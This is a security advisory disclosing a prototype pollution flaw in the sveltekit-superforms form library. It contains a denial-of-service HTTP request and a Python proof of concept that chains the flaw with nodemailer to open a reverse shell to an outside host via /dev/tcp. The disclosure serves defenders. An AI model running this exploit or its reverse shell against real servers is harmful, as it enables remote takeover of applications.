Summary
sveltekit-superforms
v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData
function of formData.js
. An attacker can inject string and array properties into Object.prototype
, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects.
Details
Superforms is a SvelteKit form library for server and client form validation. Under normal operation, form validation is performed by calling the the superValidate
function, with the submitted form data and a form schema as arguments:
// https://superforms.rocks/get-started#posting-data
const form = await superValidate(request, your_adapter(schema));
Within the superValidate
function, a call is made to parseRequest
in order to parse the user's input. parseRequest
then calls into parseFormData
, which in turn looks for the presence of __superform_json
in the form parameters. If __superform_json
is present, the following snippet is executed:
// src/lib/formData.ts
if (formData.has('__superform_json')) {
try {
const transport =
options && options.transport
? Object.fromEntries(Object.entries(options.transport).map(([k, v]) => [k, v.decode]))
: undefined;
const output = parse(formData.getAll('__superform_json').join('') ?? '', transport);
if (typeof output === 'object') {
// Restore uploaded files and add to data
const filePaths = Array.from(formData.keys());
for (const path of filePaths.filter((path) => path.startsWith('__superform_file_'))) {
const realPath = splitPath(path.substring(17));
setPaths(output, [realPath], formData.get(path));
}
for (const path of filePaths.filter((path) => path.startsWith('__superform_files_'))) {
const realPath = splitPath(path.substring(18));
const allFiles = formData.getAll(path);
setPaths(output, [realPath], Array.from(allFiles));
}
return output as Record<string, unknown>;
}
} catch {
//
}
}
This snippet deserializes JSON input within the __superform_json
, and then performs a nested assignment into the deserialized object using values from form parameters beginning with __superform_file_
and __superform_files_
. Since both the target property and value of the assignment is controlled by user input, an attacker can use this to pollute the base object prototype. For example, the following request will pollute Object.prototype.toString
, which leads to a persistent denial of service in many applications:
POST /signup HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://example.com/signup
content-type: application/x-www-form-urlencoded
x-sveltekit-action: true
Content-Length: 70
Origin: http://example.com
Connection: keep-alive
Priority: u=0
Pragma: no-cache
Cache-Control: no-cache
__superform_json=[{}]&__superform_files___proto__.toString='corrupted'
PoC
The following PoC demonstrates how this vulnerability can be escalated to remote code execution in the presence of suitable gadgets. The example app represents a typical application signup route, using the popular nodemailer
library (5 million weekly downloads from npm).
routes/signup/schema.ts
:
import { z } from "zod/v4";
export const schema = z.object({
email: z
.email({
error: "Please enter a valid email address.",
})
.min(1, {
error: "Email address is required.",
}),
password: z.string().min(8, {
error: "Password must be at least 8 characters long.",
}),
});
routes/signup/+page.server.ts
:
import { zod4 } from "sveltekit-superforms/adapters";
import { fail, setError, superValidate } from "sveltekit-superforms";
import { schema } from "./schema";
import nodemailer from "nodemailer";
import {
MAIL_USER,
MAIL_CLIENT_ID,
MAIL_CLIENT_SECRET,
MAIL_REFRESH_TOKEN,
} from "$env/static/private";
export const actions = {
default: async ({ request }) => {
const form = await superValidate(request, zod4(schema));
if (!form.valid) {
return fail(400, { form });
}
// <insert other signup code here: DB ops, logging etc..>
nodemailer
.createTransport({
service: "gmail",
auth: {
type: "OAuth2",
user: MAIL_USER,
clientId: MAIL_CLIENT_ID,
clientSecret: MAIL_CLIENT_SECRET,
refreshToken: MAIL_REFRESH_TOKEN,
},
})
.sendMail({
to: form.data.email,
subject: "Welcome to $app!",
html: "<p> Welcome to $app. We hope you enjoy your stay.</p>",
text: "Welcome to $app. We hope you enjoy your stay.",
});
},
};
The following Python script then pollutes the base object prototype in order to achieve RCE.
#!/usr/bin/env python3
import requests
RHOST = "http://localhost:4173"
session = requests.Session()
r = session.post(
f"{RHOST}/signup",
data={
"__superform_json": "[{}]",
"__superform_file___proto__.sendmail": "1",
"__superform_file___proto__.path": "/bin/bash",
"__superform_files___proto__.args": [
"-c",
"bash -i >& /dev/tcp/dread.mantel.group/443 0>&1",
"--",
],
},
headers={"Origin": RHOST},
)
r = session.post(
f"{RHOST}/signup",
data={"email": "[email protected]", "password": "usersignuppassword"},
headers={"Origin": RHOST},
)

In addition to nodemailer
, the Language-Based Security group at KTH Royal Institute of Technology also compiles gadgets in many other popular libraries and runtimes, which can be used together with this vulnerability.
Impact
Attackers can inject string and array properties into Object.prototype
. This has a high probability of leading to denial of service and type confusion, with potential escalation to other impacts such as remote code execution, depending on the presence of reliable gadgets.
References
Summary
sveltekit-superforms
v2.27.3 and prior are susceptible to a prototype pollution vulnerability within theparseFormData
function offormData.js
. An attacker can inject string and array properties intoObject.prototype
, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects.Details
Superforms is a SvelteKit form library for server and client form validation. Under normal operation, form validation is performed by calling the the
superValidate
function, with the submitted form data and a form schema as arguments:Within the
superValidate
function, a call is made toparseRequest
in order to parse the user's input.parseRequest
then calls intoparseFormData
, which in turn looks for the presence of__superform_json
in the form parameters. If__superform_json
is present, the following snippet is executed:This snippet deserializes JSON input within the
__superform_json
, and then performs a nested assignment into the deserialized object using values from form parameters beginning with__superform_file_
and__superform_files_
. Since both the target property and value of the assignment is controlled by user input, an attacker can use this to pollute the base object prototype. For example, the following request will polluteObject.prototype.toString
, which leads to a persistent denial of service in many applications:PoC
The following PoC demonstrates how this vulnerability can be escalated to remote code execution in the presence of suitable gadgets. The example app represents a typical application signup route, using the popular
nodemailer
library (5 million weekly downloads from npm).routes/signup/schema.ts
:routes/signup/+page.server.ts
:The following Python script then pollutes the base object prototype in order to achieve RCE.
In addition to
nodemailer
, the Language-Based Security group at KTH Royal Institute of Technology also compiles gadgets in many other popular libraries and runtimes, which can be used together with this vulnerability.Impact
Attackers can inject string and array properties into
Object.prototype
. This has a high probability of leading to denial of service and type confusion, with potential escalation to other impacts such as remote code execution, depending on the presence of reliable gadgets.References